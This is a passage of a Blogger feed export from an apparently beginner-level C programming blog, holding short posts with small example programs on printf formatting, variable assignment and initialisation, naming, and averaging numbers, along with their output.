src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-945055885305164027</id><published>2011-09-28T04:57:00.000-07:00</published><updated>2011-09-28T05:05:50.457-07:00</updated><title type='text'>Variable Size and Limitation</title><content type='html'>&lt;a style="color: rgb(51, 51, 255); font-weight: bold;" href="http://geekcodes.blogspot.com/2011/09/finding-limits.html"&gt;Finding the limits&lt;/a&gt;&lt;br /&gt;&lt;a style="color: rgb(51, 51, 255);" href="http://geekcodes.blogspot.com/2011/09/finding-size-of-type.html"&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;       Finding the size of a type&lt;/span&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-945055885305164027?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/945055885305164027'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/945055885305164027'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/09/variable-size-and-limitation.html' title='Variable Size and Limitation'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-324407651016854106</id><published>2011-09-28T04:52:00.000-07:00</published><updated>2011-09-28T04:54:55.651-07:00</updated><title type='text'>Printing Variable Contents</title><content type='html'>Use the printf function with formatting options.&lt;br /&gt;&lt;br /&gt;&lt;div class="codeShade"&gt;&lt;code&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;#include &lt;stdio.h&gt;&lt;/stdio.h&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;main&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(){&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;  &lt;/span&gt;&lt;span style="color: rgb(127, 0, 85);"&gt;&lt;b&gt;int &lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;x;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;  &lt;/span&gt;&lt;span style="color: rgb(127, 0, 85);"&gt;&lt;b&gt;float &lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;y;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;  &lt;/span&gt;&lt;span style="color: rgb(127, 0, 85);"&gt;&lt;b&gt;char &lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;c;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;x = -&lt;/span&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;4443&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;y = &lt;/span&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;554.21&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;c = &lt;/span&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;'M'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;printf&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(42, 0, 255);"&gt;"\nThe value of integer variable x is %d"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, x&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;printf&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(42, 0, 255);"&gt;"\nThe value of float variable y is %f"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, y&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;printf&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(42, 0, 255);"&gt;"\nThe value of character variable c is %c\n"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, c&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;}&lt;br /&gt;&lt;span style="font-size:180%;"&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;OUTPUT&lt;br /&gt;--------------------------------------&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;pre class="codeResult"&gt;The value of integer variable x is -4443     &lt;br /&gt;The value of float variable y is 554.210022    &lt;br /&gt;The value of character variable c is M&lt;br /&gt;--------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;table width="800" border="0"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Conversion specifiers are made up of two characters: % and a special character.&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;&lt;p&gt;The special character tells the program how to convert the data.&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;&lt;table class="tutorialTable"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;b&gt;Conversion Specifier&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;b&gt;Description&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;%d&lt;/td&gt;&lt;td&gt;Displays integer value&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;%f&lt;/td&gt;&lt;td&gt;Displays floating-point numbers&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;%c&lt;/td&gt;&lt;td&gt;Displays character&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;pre class="codeResult"&gt;&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-324407651016854106?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/324407651016854106'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/324407651016854106'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/09/printing-variable-contents_28.html' title='Printing Variable Contents'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-4403061260382239270</id><published>2011-09-28T04:50:00.001-07:00</published><updated>2011-09-28T04:56:03.565-07:00</updated><title type='text'>Printing Variable Contents</title><content type='html'>&lt;a style="color: rgb(51, 51, 255);" href="http://geekcodes.blogspot.com/2011/09/printing-variable-contents_28.html"&gt;&lt;span style="font-weight: bold;"&gt;Printing Variable Contents&lt;/span&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-4403061260382239270?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/4403061260382239270'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/4403061260382239270'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/09/printing-variable-contents.html' title='Printing Variable Contents'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-3603325459056866170</id><published>2011-09-28T04:46:00.000-07:00</published><updated>2011-09-28T04:48:33.289-07:00</updated><title type='text'>Use printf to output variable</title><content type='html'>&lt;div class="codeShade"&gt;&lt;code&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;#include &lt;stdio.h&gt; &lt;/stdio.h&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;    &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;    &lt;/span&gt;&lt;span style="color: rgb(127, 0, 85);"&gt;&lt;b&gt;int &lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;main&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;() &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;    &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;{  &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;        &lt;/span&gt;&lt;span style="color: rgb(127, 0, 85);"&gt;&lt;b&gt;int &lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;term;       &lt;/span&gt;&lt;span style="color: rgb(63, 127, 95);"&gt;/* term used in two expressions */ &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;term = &lt;/span&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;3 &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;* &lt;/span&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;5&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;  &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;printf&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(42, 0, 255);"&gt;"Twice %d is %d\n"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, term, &lt;/span&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;2&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;*term&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;  &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;printf&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(42, 0, 255);"&gt;"Three times %d is %d\n"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, term, &lt;/span&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;3&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;*term&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;        &lt;/span&gt;&lt;span style="color: rgb(127, 0, 85);"&gt;&lt;b&gt;return &lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;    &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:180%;"&gt;&lt;span style="font-weight: bold;"&gt;OUTPUT&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;pre class="codeResult"&gt;Twice 15 is 30&lt;br /&gt;Three times 15 is 45&lt;br /&gt;&lt;br /&gt;--------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;The number of %d conversions should match the number of expressions.&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-3603325459056866170?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/3603325459056866170'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/3603325459056866170'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/09/use-printf-to-output-variable.html' title='Use printf to output variable'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-3522588077071072352</id><published>2011-09-28T04:45:00.000-07:00</published><updated>2011-09-28T04:46:09.928-07:00</updated><title type='text'>Define three variables and use assignment operator to assign value</title><content type='html'>&lt;div class="codeShade"&gt;&lt;code&gt;&lt;span style="color:#7f0055;"&gt;&lt;b&gt;int &lt;/b&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;main&lt;/span&gt;&lt;span style="color:#000000;"&gt;() &lt;/span&gt;&lt;br /&gt;&lt;span style="color:#ffffff;"&gt;    &lt;/span&gt;&lt;span style="color:#000000;"&gt;{  &lt;/span&gt;&lt;br /&gt;&lt;span style="color:#ffffff;"&gt;        &lt;/span&gt;&lt;span style="color:#7f0055;"&gt;&lt;b&gt;int &lt;/b&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;term;       &lt;/span&gt;&lt;span style="color:#3f7f5f;"&gt;/* term used in two expressions */ &lt;/span&gt;&lt;br /&gt;&lt;span style="color:#ffffff;"&gt;        &lt;/span&gt;&lt;span style="color:#7f0055;"&gt;&lt;b&gt;int &lt;/b&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;term_2;     &lt;/span&gt;&lt;span style="color:#3f7f5f;"&gt;/* twice term */   &lt;/span&gt;&lt;br /&gt;&lt;span style="color:#ffffff;"&gt;        &lt;/span&gt;&lt;span style="color:#7f0055;"&gt;&lt;b&gt;int &lt;/b&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;term_3;     &lt;/span&gt;&lt;span style="color:#3f7f5f;"&gt;/* three times term */ &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#ffffff;"&gt;        &lt;/span&gt;&lt;span style="color:#000000;"&gt;term = &lt;/span&gt;&lt;span style="color:#990000;"&gt;3 &lt;/span&gt;&lt;span style="color:#000000;"&gt;* &lt;/span&gt;&lt;span style="color:#990000;"&gt;5&lt;/span&gt;&lt;span style="color:#000000;"&gt;;  &lt;/span&gt;&lt;br /&gt;&lt;span style="color:#ffffff;"&gt;        &lt;/span&gt;&lt;span style="color:#000000;"&gt;term_2 = &lt;/span&gt;&lt;span style="color:#990000;"&gt;2 &lt;/span&gt;&lt;span style="color:#000000;"&gt;* term; &lt;/span&gt;&lt;br /&gt;&lt;span style="color:#ffffff;"&gt;        &lt;/span&gt;&lt;span style="color:#000000;"&gt;term_3 = &lt;/span&gt;&lt;span style="color:#990000;"&gt;3 &lt;/span&gt;&lt;span style="color:#000000;"&gt;* term; &lt;/span&gt;&lt;br /&gt;&lt;span style="color:#ffffff;"&gt;        &lt;/span&gt;&lt;span style="color:#7f0055;"&gt;&lt;b&gt;return &lt;/b&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;(&lt;/span&gt;&lt;span style="color:#990000;"&gt;0&lt;/span&gt;&lt;span style="color:#000000;"&gt;)&lt;/span&gt;&lt;span style="color:#000000;"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#ffffff;"&gt;    &lt;/span&gt;&lt;span style="color:#000000;"&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-3522588077071072352?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/3522588077071072352'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/3522588077071072352'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/09/define-three-variables-and-use.html' title='Define three variables and use assignment operator to assign value'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-5145998640675427394</id><published>2011-09-28T04:44:00.000-07:00</published><updated>2011-09-28T04:45:01.652-07:00</updated><title type='text'>Meaningful variable name</title><content type='html'>&lt;div class="codeShade"&gt;&lt;code&gt;&lt;span style="color:#7f0055;"&gt;&lt;b&gt;int &lt;/b&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;p,q,r;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/code&gt;&lt;table width="800" border="0"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Now consider another declaration:&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;&lt;table bg border="0" cellpadding="3" cellspacing="0" style="color:#ffffff;"&gt;    &lt;tbody&gt;&lt;tr&gt; &lt;td nowrap="nowrap" valign="top" align="left"&gt;&lt;div class="codeShade"&gt;&lt;code&gt;&lt;span style="color:#7f0055;"&gt;&lt;b&gt;int &lt;/b&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;account_number;    &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#7f0055;"&gt;&lt;b&gt;int &lt;/b&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;balance_owed;  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#7f0055;"&gt;&lt;b&gt;int &lt;/b&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;account_number;      &lt;/span&gt;&lt;span style="color:#3f7f5f;"&gt;/* Index for account table */ &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#7f0055;"&gt;&lt;b&gt;int &lt;/b&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;balance_owed;        &lt;/span&gt;&lt;span style="color:#3f7f5f;"&gt;/* Total owed us (in pennies)*/&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-5145998640675427394?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/5145998640675427394'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/5145998640675427394'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/09/meaningful-variable-name.html' title='Meaningful variable name'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-7480193647750698359</id><published>2011-09-28T04:42:00.000-07:00</published><updated>2011-09-28T04:43:25.774-07:00</updated><title type='text'>Initialize int value in declaration</title><content type='html'>&lt;div class="codeShade"&gt;&lt;code&gt;&lt;span style="color:#000000;"&gt;#include &lt;stdio.h&gt;&lt;/stdio.h&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#7f0055;"&gt;&lt;b&gt;int &lt;/b&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;main&lt;/span&gt;&lt;span style="color:#000000;"&gt;(&lt;/span&gt;&lt;span style="color:#7f0055;"&gt;&lt;b&gt;void&lt;/b&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#ffffff;"&gt;  &lt;/span&gt;&lt;span style="color:#7f0055;"&gt;&lt;b&gt;int &lt;/b&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;number0 = &lt;/span&gt;&lt;span style="color:#990000;"&gt;10&lt;/span&gt;&lt;span style="color:#000000;"&gt;, number1 = &lt;/span&gt;&lt;span style="color:#990000;"&gt;40&lt;/span&gt;&lt;span style="color:#000000;"&gt;, number2 = &lt;/span&gt;&lt;span style="color:#990000;"&gt;50&lt;/span&gt;&lt;span style="color:#000000;"&gt;, number3 = &lt;/span&gt;&lt;span style="color:#990000;"&gt;80&lt;/span&gt;&lt;span style="color:#000000;"&gt;, number4 = &lt;/span&gt;&lt;span style="color:#990000;"&gt;10&lt;/span&gt;&lt;span style="color:#000000;"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#ffffff;"&gt;  &lt;/span&gt;&lt;span style="color:#7f0055;"&gt;&lt;b&gt;int &lt;/b&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;number5 = &lt;/span&gt;&lt;span style="color:#990000;"&gt;20&lt;/span&gt;&lt;span style="color:#000000;"&gt;, number6 = &lt;/span&gt;&lt;span style="color:#990000;"&gt;30&lt;/span&gt;&lt;span style="color:#000000;"&gt;, number7 = &lt;/span&gt;&lt;span style="color:#990000;"&gt;60&lt;/span&gt;&lt;span style="color:#000000;"&gt;, number8 = &lt;/span&gt;&lt;span style="color:#990000;"&gt;70&lt;/span&gt;&lt;span style="color:#000000;"&gt;, number9 = &lt;/span&gt;&lt;span style="color:#990000;"&gt;110&lt;/span&gt;&lt;span style="color:#000000;"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#ffffff;"&gt;  &lt;/span&gt;&lt;span style="color:#7f0055;"&gt;&lt;b&gt;int &lt;/b&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;sum = number0 + number1+ number2 + number3 + number4+&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#ffffff;"&gt;        &lt;/span&gt;&lt;span style="color:#000000;"&gt;number5 + number6 + number7 + number8 + number9;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#ffffff;"&gt;  &lt;/span&gt;&lt;span style="color:#7f0055;"&gt;&lt;b&gt;float &lt;/b&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;average = &lt;/span&gt;&lt;span style="color:#000000;"&gt;(&lt;/span&gt;&lt;span style="color:#7f0055;"&gt;&lt;b&gt;float&lt;/b&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;)&lt;/span&gt;&lt;span style="color:#000000;"&gt;sum/&lt;/span&gt;&lt;span style="color:#990000;"&gt;10.0f&lt;/span&gt;&lt;span style="color:#000000;"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#ffffff;"&gt;  &lt;/span&gt;&lt;span style="color:#000000;"&gt;printf&lt;/span&gt;&lt;span style="color:#000000;"&gt;(&lt;/span&gt;&lt;span style="color:#2a00ff;"&gt;"\nAverage of the ten numbers entered is: %f\n"&lt;/span&gt;&lt;span style="color:#000000;"&gt;, average&lt;/span&gt;&lt;span style="color:#000000;"&gt;)&lt;/span&gt;&lt;span style="color:#000000;"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#ffffff;"&gt;  &lt;/span&gt;&lt;span style="color:#7f0055;"&gt;&lt;b&gt;return &lt;/b&gt;&lt;/span&gt;&lt;span style="color:#990000;"&gt;0&lt;/span&gt;&lt;span style="color:#000000;"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;}&lt;br /&gt;&lt;span style="font-size:180%;"&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;OUTPUT&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;pre class="codeResult"&gt;Average of the ten numbers entered is: 48.000000&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-7480193647750698359?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/7480193647750698359'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/7480193647750698359'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/09/initialize-int-value-in-declaration.html' title='Initialize int value in declaration'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-3310263376679840134</id><published>2011-09-28T04:39:00.000-07:00</published><updated>2011-09-28T04:41:34.415-07:00</updated><title type='text'>Using a variable to store value</title><content type='html'>&lt;div class="codeShade"&gt;&lt;code&gt;&lt;span style="color:#000000;"&gt;#include &lt;stdio.h&gt;&lt;/stdio.h&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#7f0055;"&gt;&lt;b&gt;int &lt;/b&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;main&lt;/span&gt;&lt;span style="color:#000000;"&gt;(&lt;/span&gt;&lt;span style="color:#7f0055;"&gt;&lt;b&gt;void&lt;/b&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#ffffff;"&gt;  &lt;/span&gt;&lt;span style="color:#7f0055;"&gt;&lt;b&gt;int &lt;/b&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;salary;            &lt;/span&gt;&lt;br /&gt;&lt;span style="color:#ffffff;"&gt;  &lt;/span&gt;&lt;span style="color:#000000;"&gt;salary = &lt;/span&gt;&lt;span style="color:#990000;"&gt;10000&lt;/span&gt;&lt;span style="color:#000000;"&gt;;        &lt;/span&gt;&lt;br /&gt;&lt;span 